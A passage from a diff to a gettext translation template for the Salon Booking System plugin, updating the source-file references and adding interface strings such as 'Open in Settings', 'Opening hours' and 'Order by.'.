src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:126, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:133, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:94, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:133, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:94, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:39\n-msgid \"Order.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:154\n+msgid \"Open in Settings\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:210\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:210\n+msgid \"Open payment settings\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:123\n+msgid \"\"\n+\"Opening a booking to view or edit details is available in Salon Booking \"\n+\"System PRO. Upgrade to unlock full mobile booking management.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:37\n+msgid \"Opening hours\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_preview.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:17\n+msgid \"Opening hours preview\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:123\n+msgid \"Operation completed!\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:145\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:145\n+msgid \"Options for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:39, src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:120, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:76, src\u002FSLB_API\u002FController\u002FServices_Controller.php:46, src\u002FSLB_API\u002FController\u002FServices_Controller.php:127, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:74, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:100, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:37, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:120, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:127, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:74, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:100, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:120, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:127, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:100, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:127, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:127, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FForm.php:286\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:286\n+msgid \"or\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:99\n+msgid \"or click to browse\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:127\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:127\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:37\n msgid \"Order by.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:45, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:82, src\u002FSLB_API\u002FController\u002FServices_Controller.php:52, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:80, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:106, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:43, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:82, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:80, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:82, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:80, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:51\n-msgid \"Per page.\"\n+#: 